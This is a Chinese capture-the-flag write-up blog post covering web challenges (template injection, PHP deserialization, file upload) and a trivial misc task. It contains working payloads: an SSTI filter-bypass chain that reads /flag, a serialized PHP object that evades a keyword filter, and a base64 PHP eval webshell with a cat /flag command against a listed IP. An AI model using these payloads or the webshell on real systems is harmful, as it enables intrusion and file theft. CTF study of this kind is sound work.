cumt_华为杯

经典的学长虐菜局,web只做出来一个,另外两题好不容易有思路了,都被卡死了

web

doge

真签到题,抽个奖就给出了flag

babyflask

刚进入页面,只有一张图片,查看源码也没发现什么

就是了模板注入

1
url+{{7*7}}Copy

页面出现404报错,并且显示的是url+49,确定是模板注入

1
2
3
4
5
6
7
8
9
{{''.__class__.__mro__[2].__subclasses__()}}
查看模块时,发现存在waf
经过测试发现是过滤了[]
于是使用
{{''.__class__.__mro__.__getitem__(2).__subclasses__()}}
存在file模块
用read读取文件内容
exp:
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read()Copy

参考链接:https://xz.aliyun.com/t/8029

VulnCMS

这题是真滴无语,开始以为是XSS,后来学长提示不是,又找到了文件上传的漏洞,直接拿到了网站根目录本以为做出了,结果提示flag not here,心态炸裂,但是提示了”投个稿?“,应该是在投稿位置下功夫吧。到最后也没做出了,但是找到了漏洞代码,应该是sql注入。

cms.png

这里给出大神的做法

cms1.png

Hodor

这题基本上是原题,但是加了一层过滤,怎么都没绕过去。。。

看到WP是大S绕过,涨知识了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
Class Source {
public function __toString() {
return highlight_file('license.txt', true).highlight_file($this->source, true);
}
}
function easy_check($str) {
//echo $str;
if (preg_match("/flag/i", $str, $matches)) {
return false;
}
return true;
}
if(isset($_GET['source'])){
$s = new Source();
$s->source = __FILE__;

echo $s;
exit;
}
$todos = [];
if(isset($_COOKIE['todos'])){
if(!easy_check($_COOKIE['todos'])) {
echo "Hacker!\n";
} else {
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];

$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);

setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
// flag is in flag.php
?Copy

exp

1
2
3
4
echo md5('a:2:{i:0;s:3:"123";i:1;O:6:"Source":1:
{s:6:"source";S:8:"\66lag.php";}}');
echo urlencode('ae5860e508aaf353a9ad78ac246f46fba:2:
{i:0;s:3:"123";i:1;O:6:"Source":1:{s:6:"source";S:8:"\66lag.php";}}');Copy

hodor.png

参考

https://blog.csdn.net/SmileAndFun/article/details/108497183

webcms

是一个博客管理的网站,其实也是个原题,考察点是文件上传

漏洞点在图片中上传图片的位置

webcms.png

随便上传一张图片试试,抓包结果如下,几个注意点

webcms2.png

1.filetype规定了文件的类型

2.上传时,将图片保存为了base64形式

所以上传一句话木马的时候要注意修改对应的位置

一句话木马类型为php,则filetype改为php

内容为密码为cmd一句话木马,对应的base64编码PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

webcms3.png

上传成功,访问保存的路径:http://219.219.61.234:20203/upload/tmp/1_Y2R8AK57UWV4JBW.php

1
2
3
POST:
cmd=system("cat /flag");
或者蚁剑连接,密码cmdCopy

Misc

MIsc部分基本都是队友做的,好像也不是太难

伪web

真是伪web。。。

直接在文件里搜索就能到flag

搜索关键词cmut,flag所在文件夹为html\include\include.php